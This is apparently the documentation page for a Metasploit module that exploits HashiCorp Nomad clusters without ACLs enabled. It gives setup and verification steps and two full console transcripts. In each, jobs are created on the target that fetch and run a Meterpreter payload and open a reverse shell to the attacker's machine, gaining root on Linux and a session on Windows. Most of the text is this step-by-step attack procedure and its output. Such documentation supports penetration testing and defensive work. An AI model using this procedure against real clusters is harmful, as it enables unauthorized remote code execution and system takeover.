Description
HashiCorp Nomad allows for clients to create jobs that can run in a Nomad cluster. Nomad provides a variety of drivers to allow for tasks to be run under. The 'raw_exec' and 'exec' drivers allow for OS commands to be run on a Nomad client. The 'raw_exec' option runs with higher privileges, while 'exec' is typically limited to lower privileges.
The API operates similarly to HashiCorp's Consul service, by allowing optional ACL tokens as an authentication mechanism. This is not enabled by default.
Test Setup
First install Nomad (https://www.nomadproject.io/downloads)
curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add -
sudo apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main"
sudo apt-get update && sudo apt-get install nomad -y
Start Nomad
sudo nomad agent -dev -bind 0.0.0.0 -log-level INFO
Nomad should start up like the following:
==> No configuration files loaded
==> Starting Nomad agent...
==> Nomad agent configuration:
==> Nomad agent started! Log data will stream in below:
Verification Steps
You can verify the module against the vulnerable application with those steps:
Launch a Consul cluster with the provided bash script
Start msfconsole
Do: use exploit/multi/misc/nomad_exec
Do: set RHOST 192.168.1.2
Do: set RPORT 4646
Do: check
. The target should show as vulnerable.
Do: set payload
with the payload of your choosing.
Do: set LHOST eth0
(Attacker's default NIC)
Do: run
You should get a shell.
Scenarios
Reverse shell on Linux host
msf6 > use exploit/multi/misc/nomad_exec
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/nomad_exec) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf6 exploit(multi/misc/nomad_exec) > set RPORT 4646
RPORT => 4646
msf6 exploit(multi/misc/nomad_exec) > check
[+] 192.168.1.2:4646 - The target is vulnerable.
msf6 exploit(multi/misc/nomad_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/nomad_exec) > set LHOST eth0
LHOST => eth0
msf6 exploit(multi/misc/nomad_exec) > run
[*] Started reverse TCP handler on 192.168.1.3:4444
[*] Creating job 'RjLhSsR'
[*] Job 'RjLhSsR' successfully created as '9ea94eb3-5a63-d9e2-dd36-3375ee301d5d'.
[*] Waiting for job 'RjLhSsR' to trigger
[*] Sending stage (984904 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.2:53978) at 2021-05-18 10:01:00 -0500
[*] Command Stager progress - 100.00% done (763/763 bytes)
meterpreter > sysinfo
Computer : 192.168.1.2
OS : Ubuntu 18.04 (Linux 4.15.0-128-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > getuid
Server username: root @ nomad (uid=0, gid=0, euid=0, egid=0)
Reverse shell on Windows host
msf6 > use exploit/multi/misc/nomad_exec
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/nomad_exec) > set RHOSTS 192.168.1.4
RHOSTS => 192.168.1.4
msf6 exploit(multi/misc/nomad_exec) > set RPORT 4646
RPORT => 4646
msf6 exploit(multi/misc/nomad_exec) > set TARGET Windows
TARGET => Windows
msf6 exploit(multi/misc/nomad_exec) > check
[+] 192.168.1.4:4646 - The target is vulnerable.
msf6 exploit(multi/misc/nomad_exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/misc/nomad_exec) > set LHOST eth0
LHOST => eth0
msf6 exploit(multi/misc/nomad_exec) > run
[*] Started reverse TCP handler on 192.168.1.3:4444
[*] Using URL: http://0.0.0.0:8080/7xalf9984X4by
[*] Local IP: http://192.168.1.3:8080/7xalf9984X4by
[*] Creating job 'WgsLus'
[*] Job 'WgsLus' successfully created as 'fba1132d-c381-3945-e5e4-5e7ebdd24aa5'.
[*] Waiting for job 'WgsLus' to trigger
[*] Client 192.168.1.4 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.610) requested /7xalf9984X4by
[*] Sending payload to 192.168.1.4 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.610)
[*] Sending stage (175174 bytes) to 192.168.1.4
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.4:52922) at 2021-05-18 10:08:23 -0500
[*] Command Stager progress - 100.00% done (151/151 bytes)
[*] Server stopped.
meterpreter > sysinfo
Computer : DESKTOP-1CE7MB4
OS : Windows 10 (10.0 Build 19042).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows